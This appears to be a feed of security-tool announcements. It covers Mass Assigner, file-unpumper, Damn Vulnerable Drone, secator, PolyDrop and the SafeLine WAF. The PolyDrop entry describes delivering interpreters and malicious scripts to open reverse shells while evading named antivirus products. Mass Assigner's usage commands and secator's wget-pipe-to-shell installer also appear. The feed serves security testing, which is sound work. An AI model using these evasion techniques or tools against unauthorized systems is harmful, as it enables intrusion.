      Mass Assigner is a powerful tool designed to identify and exploit mass assignment vulnerabilities in web applications. It achieves this by first retrieving data from a specified request, such as fetching user profile data. Then, it systematically attempts to apply each parameter extracted from the response to a second request provided, one parameter at a time. This approach allows for the automated testing and exploitation of potential mass assignment vulnerabilities.


      Disclaimer

      This tool actively modifies server-side data. Please ensure you have proper authorization before use. Any unauthorized or illegal activity using this tool is entirely at your own risk.

      Features

      • Enables the addition of custom headers within requests
      • Offers customization of various HTTP methods for both origin and target requests
      • Supports rate-limiting to manage request thresholds effectively
      • Provides the option to specify "ignored parameters" which the tool will ignore during execution
      • Improved the support in nested arrays/objects inside JSON data in responses

      What's Next

      • Support additional content types, such as "application/x-www-form-urlencoded"

      Installation & Usage

      Install requirements

      pip3 install -r requirements.txt

      Run the script

      python3 mass_assigner.py --fetch-from "http://example.com/path-to-fetch-data" --target-req "http://example.com/path-to-probe-the-data"

      Arguments

      Forbidden Buster accepts the following arguments:

        -h, --help            show this help message and exit
      --fetch-from FETCH_FROM
      URL to fetch data from
      --target-req TARGET_REQ
      URL to send modified data to
      -H HEADER, --header HEADER
      Add a custom header. Format: 'Key: Value'
      -p PROXY, --proxy PROXY
      Use Proxy, Usage i.e: http://127.0.0.1:8080.
      -d DATA, --data DATA Add data to the request body. JSON is supported with escaping.
      --rate-limit RATE_LIMIT
      Number of requests per second
      --source-method SOURCE_METHOD
      HTTP method for the initial request. Default is GET.
      --target-method TARGET_METHOD
      HTTP method for the modified request. Default is PUT.
      --ignore-params IGNORE_PARAMS
      Parameters to ignore during modification, separated by comma.

      Example Usage:

      python3 mass_assigner.py --fetch-from "http://example.com/api/v1/me" --target-req "http://example.com/api/v1/me" --header "Authorization: Bearer XXX" --proxy "http://proxy.example.com" --data '{\"param1\": \"test\", \"param2\":true}'



      File-Unpumper - Tool That Can Be Used To Trim Useless Things From A PE File Such As The Things A File Pumper Would Add

      $
      0
      0


      file-unpumper is a powerful command-line utility designed to clean and analyze Portable Executable (PE) files. It provides a range of features to help developers and security professionals work with PE files more effectively.


      Features

      • PE Header Fixing: file-unpumper can fix and align the PE headers of a given executable file. This is particularly useful for resolving issues caused by packers or obfuscators that modify the headers.

      • Resource Extraction: The tool can extract embedded resources from a PE file, such as icons, bitmaps, or other data resources. This can be helpful for reverse engineering or analyzing the contents of an executable.

      • MetadataAnalysis: file-unpumper provides a comprehensive analysis of the PE file's metadata, including information about the machine architecture, number of sections, timestamp, subsystem, image base, and section details.

      • File Cleaning: The core functionality of file-unpumper is to remove any "pumped" or padded data from a PE file, resulting in a cleaned version of the executable. This can aid in malware analysis, reverse engineering, or simply reducing the file size.

      • Parallel Processing: To ensure efficient performance, file-unpumper leverages the power of parallel processing using the rayon crate, allowing it to handle large files with ease.

      • Progress Tracking: During the file cleaning process, a progress bar is displayed, providing a visual indication of the operation's progress and estimated time remaining.

      Installation

      file-unpumper is written in Rust and can be easily installed using the Cargo package manager:

      cargo install file-unpumper

      Usage

      • <INPUT>: The path to the input PE file.

      Options

      • --fix-headers: Fix and align the PE headers of the input file.
      • --extract-resources: Extract embedded resources from the input file.
      • --analyze-metadata: Analyze and display the PE file's metadata.
      • -h, --help: Print help information.
      • -V, --version: Print version information.

      Examples

      1. Clean a PE file and remove any "pumped" data:

      bash file-unpumper path/to/input.exe

      1. Fix the PE headers and analyze the metadata of a file:

      bash file-unpumper --fix-headers --analyze-metadata path/to/input.exe

      1. Extract resources from a PE file:

      bash file-unpumper --extract-resources path/to/input.exe

      1. Perform all available operations on a file:

      bash file-unpumper --fix-headers --extract-resources --analyze-metadata path/to/input.exe

      Contributing

      Contributions to file-unpumper are welcome! If you encounter any issues or have suggestions for improvements, please open an issue or submit a pull request on the GitHub repository.

      Changelog

      The latest changelogs can be found in CHANGELOG.md

      License

      file-unpumper is released under the MIT License.



      Damn-Vulnerable-Drone - An Intentionally Vulnerable Drone Hacking Simulator Based On The Popular ArduPilot/MAVLink Architecture, Providing A Realistic Environment For Hands-On Drone Hacking

      $
      0
      0


      The Damn Vulnerable Drone is an intentionally vulnerable drone hacking simulator based on the popular ArduPilot/MAVLink architecture, providing a realistic environment for hands-on drone hacking.


        About the Damn Vulnerable Drone


        What is the Damn Vulnerable Drone?

        The Damn Vulnerable Drone is a virtually simulated environment designed for offensive security professionals to safely learn and practice drone hacking techniques. It simulates real-world ArduPilot& MAVLink drone architectures and vulnerabilities, offering a hands-on experience in exploiting drone systems.

        Why was it built?

        The Damn Vulnerable Drone aims to enhance offensive security skills within a controlled environment, making it an invaluable tool for intermediate-level security professionals, pentesters, and hacking enthusiasts.

        Similar to how pilots utilize flight simulators for training, we can use the Damn Vulnerable Drone simulator to gain in-depth knowledge of real-world drone systems, understand their vulnerabilities, and learn effective methods to exploit them.

        The Damn Vulnerable Drone platform is open-source and available at no cost and was specifically designed to address the substantial expenses often linked with drone hardware, hacking tools, and maintenance. Its cost-free nature allows users to immerse themselves in drone hacking without financial concerns. This accessibility makes the Damn Vulnerable Drone a crucial resource for those in the fields of information security and penetration testing, promoting the development of offensive cybersecurity skills in a safe environment.

        How does it work?

        The Damn Vulnerable Drone platform operates on the principle of Software-in-the-Loop (SITL), a simulation technique that allows users to run drone software as if it were executing on an actual drone, thereby replicating authentic drone behaviors and responses.

        ArduPilot's SITL allows for the execution of the drone's firmware within a virtual environment, mimicking the behavior of a real drone without the need for physical hardware. This simulation is further enhanced with Gazebo, a dynamic 3D robotics simulator, which provides a realistic environment and physics engine for the drone to interact with. Together, ArduPilot's SITL and Gazebo lay the foundation for a sophisticated and authentic drone simulation experience.

        While the current Damn Vulnerable Drone setup doesn't mirror every drone architecture or configuration, the integrated tactics, techniques and scenarios are broadly applicable across various drone systems, models and communication protocols.

        Features

        • Docker-based Environment: Runs in a completely virtualized docker-based setup, making it accessible and safe for drone hacking experimentation.
        • Simulated Wireless Networking: Simulated Wifi (802.11) interfaces to practice wireless drone attacks.
        • Onboard Camera Streaming & Gimbal: Simulated RTSP drone onboard camera stream with gimbal and companion computer integration.
        • Companion Computer Web Interface: Companion Computer configuration management via web interface and simulated serial connection to Flight Controller.
        • QGroundControl/MAVProxy Integration: One-click QGroundControl UI launching (only supported on x86 architecture) with MAVProxy GCS integration.
        • MAVLink Router Integration: Telemetry forwarding via MAVLink Router on the Companion Computer Web Interface.
        • Dynamic Flight Logging: Fully dynamic Ardupilot flight bin logs stored on a simulated SD Card.
        • Management Web Console: Simple to use simulator management web console used to trigger scenarios and drone flight states.
        • Comprehensive Hacking Scenarios: Ideal for practicing a wide range of drone hacking techniques, from basic reconnaissance to advanced exploitation.
        • Detailed Walkthroughs: If you need help hacking against a particular scenario you can leverage the detailed walkthrough documentation as a spoiler.



        Secator - The Pentester'S Swiss Knife

        $
        0
        0


        secator is a task and workflow runner used for security assessments. It supports dozens of well-known security tools and it is designed to improve productivity for pentesters and security researchers.


        Features

        • Curated list of commands

        • Unified input options

        • Unified output schema

        • CLI and library usage

        • Distributed options with Celery

        • Complexity from simple tasks to complex workflows

        • Customizable


        Supported tools

        secator integrates the following tools:

        NameDescriptionCategory
        httpxFast HTTP prober.http
        cariddiFast crawler and endpoint secrets / api keys / tokens matcher.http/crawler
        gauOffline URL crawler (Alien Vault, The Wayback Machine, Common Crawl, URLScan).http/crawler
        gospiderFast web spider written in Go.http/crawler
        katanaNext-generation crawling and spidering framework.http/crawler
        dirsearchWeb path discovery.http/fuzzer
        feroxbusterSimple, fast, recursive content discovery tool written in Rust.http/fuzzer
        ffufFast web fuzzer written in Go.http/fuzzer
        h8mailEmail OSINT and breach hunting tool.osint
        dnsxFast and multi-purpose DNS toolkit designed for running DNS queries.recon/dns
        dnsxbruteFast and multi-purpose DNS toolkit designed for running DNS queries (bruteforce mode).recon/dns
        subfinderFast subdomain finder.recon/dns
        fpingFind alive hosts on local networks.recon/ip
        mapcidrExpand CIDR ranges into IPs.recon/ip
        naabuFast port discovery tool.recon/port
        maigretHunt for user accounts across many websites.recon/user
        gfA wrapper around grep to avoid typing common patterns.tagger
        grypeA vulnerability scanner for container images and filesystems.vuln/code
        dalfoxPowerful XSS scanning tool and parameter analyzer.vuln/http
        msfconsoleCLI to access and work with the Metasploit Framework.vuln/http
        wpscanWordPress Security Scannervuln/multi
        nmapVulnerability scanner using NSE scripts.vuln/multi
        nucleiFast and customisable vulnerability scanner based on simple YAML based DSL.vuln/multi
        searchsploitExploit searcher.exploit/search

        Feel free to request new tools to be added by opening an issue, but please check that the tool complies with our selection criterias before doing so. If it doesn't but you still want to integrate it into secator, you can plug it in (see the dev guide).

        Installation

        Installing secator

        Pipx
        pipx install secator
        Pip
        pip install secator
        Bash
        wget -O - https://raw.githubusercontent.com/freelabz/secator/main/scripts/install.sh | sh
        Docker
        docker run -it --rm --net=host -v ~/.secator:/root/.secator freelabz/secator --help
        The volume mount -v is necessary to save all secator reports to your host machine, and--net=host is recommended to grant full access to the host network. You can alias this command to run it easier:
        alias secator="docker run -it --rm --net=host -v ~/.secator:/root/.secator freelabz/secator"
        Now you can run secator like if it was installed on baremetal:
        secator --help
        Docker Compose
        git clone https://github.com/freelabz/secator
        cd secator
        docker-compose up -d
        docker-compose exec secator secator --help

        Note: If you chose the Bash, Docker or Docker Compose installation methods, you can skip the next sections and go straight to Usage.

        Installing languages

        secator uses external tools, so you might need to install languages used by those tools assuming they are not already installed on your system.

        We provide utilities to install required languages if you don't manage them externally:

        Go
        secator install langs go
        Ruby
        secator install langs ruby

        Installing tools

        secator does not install any of the external tools it supports by default.

        We provide utilities to install or update each supported tool which should work on all systems supporting apt:

        All tools
        secator install tools
        Specific tools
        secator install tools <TOOL_NAME>
        For instance, to install `httpx`, use:
        secator install tools httpx

        Please make sure you are using the latest available versions for each tool before you run secator or you might run into parsing / formatting issues.

        Installing addons

        secator comes installed with the minimum amount of dependencies.

        There are several addons available for secator:

        worker Add support for Celery workers (see [Distributed runs with Celery](https://docs.freelabz.com/in-depth/distributed-runs-with-celery)).
        secator install addons worker
        google Add support for Google Drive exporter (`-o gdrive`).
        secator install addons google
        mongodb Add support for MongoDB driver (`-driver mongodb`).
        secator install addons mongodb
        redis Add support for Redis backend (Celery).
        secator install addons redis
        dev Add development tools like `coverage` and `flake8` required for running tests.
        secator install addons dev
        trace Add tracing tools like `memray` and `pyinstrument` required for tracing functions.
        secator install addons trace
        build Add `hatch` for building and publishing the PyPI package.
        secator install addons build

        Install CVEs

        secator makes remote API calls to https://cve.circl.lu/ to get in-depth information about the CVEs it encounters. We provide a subcommand to download all known CVEs locally so that future lookups are made from disk instead:

        secator install cves

        Checking installation health

        To figure out which languages or tools are installed on your system (along with their version):

        secator health

        Usage

        secator --help


        Usage examples

        Run a fuzzing task (ffuf):

        secator x ffuf http://testphp.vulnweb.com/FUZZ

        Run a url crawl workflow:

        secator w url_crawl http://testphp.vulnweb.com

        Run a host scan:

        secator s host mydomain.com

        and more... to list all tasks / workflows / scans that you can use:

        secator x --help
        secator w --help
        secator s --help

        Learn more

        To go deeper with secator, check out: * Our complete documentation * Our getting started tutorial video * Our Medium post * Follow us on social media: @freelabz on Twitter and @FreeLabz on YouTube



        PolyDrop - A BYOSI (Bring-Your-Own-Script-Interpreter) Rapid Payload Deployment Toolkit

        $
        0
        0


        BYOSI

        - Bring-Your-Own-Script-Interpreter

        - Leveraging the abuse of trusted applications, one is able to deliver a compatible script interpreter for a Windows, Mac, or Linux system as well as malicious source code in the form of the specific script interpreter of choice. Once both the malicious source code and the trusted script interpeter are safely written to the target system, one could simply execute said source code via the trusted script interpreter.

        PolyDrop

        - Leverages thirteen scripting languages to perform the above attack.


        The following langues are wholly ignored by AV vendors including MS-Defender: - tcl - php - crystal - julia - golang - dart - dlang - vlang - nodejs - bun - python - fsharp - deno

        All of these languages were allowed to completely execute, and establish a reverse shell by MS-Defender. We assume the list is even longer, given that languages such as PHP are considered "dead" languages.

        - Currently undetectable by most mainstream Endpoint-Detection & Response vendors.

        The total number of vendors that are unable to scan or process just PHP file types is 14, and they are listed below:

        • Alibaba
        • Avast-Mobile
        • BitDefenderFalx
        • Cylance
        • DeepInstinct
        • Elastic
        • McAfee Scanner
        • Palo Alto Networks
        • SecureAge
        • SentinelOne (Static ML)
        • Symantec Mobile Insight
        • Trapmine
        • Trustlook
        • Webroot

        And the total number of vendors that are unable to accurately identify malicious PHP scripts is 54, and they are listed below:

        • Acronis (Static ML)
        • AhnLab-V3
        • ALYac
        • Antiy-AVL
        • Arcabit
        • Avira (no cloud)
        • Baidu
        • BitDefender
        • BitDefenderTheta
        • ClamAV
        • CMC
        • CrowdStrike Falcon
        • Cybereason
        • Cynet
        • DrWeb
        • Emsisoft
        • eScan
        • ESET-NOD32
        • Fortinet
        • GData
        • Gridinsoft (no cloud)
        • Jiangmin
        • K7AntiVirus
        • K7GW
        • Kaspersky
        • Lionic
        • Malwarebytes
        • MAX
        • MaxSecure
        • NANO-Antivirus
        • Panda
        • QuickHeal
        • Sangfor Engine Zero
        • Skyhigh (SWG)
        • Sophos
        • SUPERAntiSpyware
        • Symantec
        • TACHYON
        • TEHTRIS
        • Tencent
        • Trellix (ENS)
        • Trellix (HX)
        • TrendMicro
        • TrendMicro-HouseCall
        • Varist
        • VBA32
        • VIPRE
        • VirIT
        • ViRobot
        • WithSecure
        • Xcitium
        • Yandex
        • Zillya
        • ZoneAlarm by Check Point
        • Zoner

        With this in mind, and the absolute shortcomings on identifying PHP based malware we came up with the theory that the 13 identified languages are also an oversight by these vendors, including CrowdStrike, Sentinel1, Palo Alto, Fortinet, etc. We have been able to identify that at the very least Defender considers these obviously malicious payloads as plaintext.

        Disclaimer

        We as the maintainers, are in no way responsible for the misuse or abuse of this product. This was published for legitimate penetration testing/red teaming purposes, and for educational value. Know the applicable laws in your country of residence before using this script, and do not break the law whilst using this. Thank you and have a nice day.

        EDIT

        In case you are seeing all of the default declarations, and wondering wtf guys. There is a reason; this was built to be more moduler for later versions. For now, enjoy the tool and feel free to post issues. They'll be addressed as quickly as possible.



        SafeLine - Serve As A Reverse Proxy To Protect Your Web Services From Attacks And Exploits

        $
        0
        0


        SafeLine is a self-hosted WAF(Web Application Firewall) to protect your web apps from attacks and exploits.

        A web application firewall helps protect web apps by filtering and monitoring HTTP traffic between a web application and the Internet. It typically protects web apps from attacks such as SQL injection, XSS, code injection, os command injection, CRLF injection, ldap injection, xpath injection, RCE, XXE, SSRF, path traversal, backdoor, bruteforce, http-flood, bot abused, among others.


        How It Works


        By deploying a WAF in front of a web application, a shield is placed between the web application and the Internet. While a proxy server protects a client machine's identity by using an intermediary, a WAF is a type of reverse-proxy, protecting the server from exposure by having clients pass through the WAF before reaching the server.

        A WAF protects your web apps by filtering, monitoring, and blocking any malicious HTTP/S traffic traveling to the web application, and prevents any unauthorized data from leaving the app. It does this by adhering to a set of policies that help determine what traffic is malicious and what traffic is safe. Just as a proxy server acts as an intermediary to protect the identity of a client, a WAF operates in similar fashion but acting as an reverse proxy intermediary that protects the web app server from a potentially malicious client.

        its core capabilities include:

        • Defenses for web attacks
        • Proactive bot abused defense
        • HTML & JS code encryption
        • IP-based rate limiting
        • Web Access Control List

        Screenshots







        Get Live Demo

        FEATURES

        List of the main features as follows:

        • Block Web Attacks
        • It defenses for all of web attacks, such as SQL injection, XSS, code injection, os command injection, CRLF injection, XXE, SSRF, path traversal and so on.
        • Rate Limiting
        • Defend your web apps against DoS attacks, bruteforce attempts, traffic surges, and other types of abuse by throttling traffic that exceeds defined limits.
        • Anti-Bot Challenge
        • Anti-Bot challenges to protect your website from bot attacks, humen users will be allowed, crawlers and bots will be blocked.
        • Authentication Challenge
        • When authentication challenge turned on, visitors need to enter the password, otherwise they will be blocked.
        • Dynamic Protection
        • When dynamic protection turned on, html and js codes in your web server will be dynamically encrypted by each time you visit.




        <script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>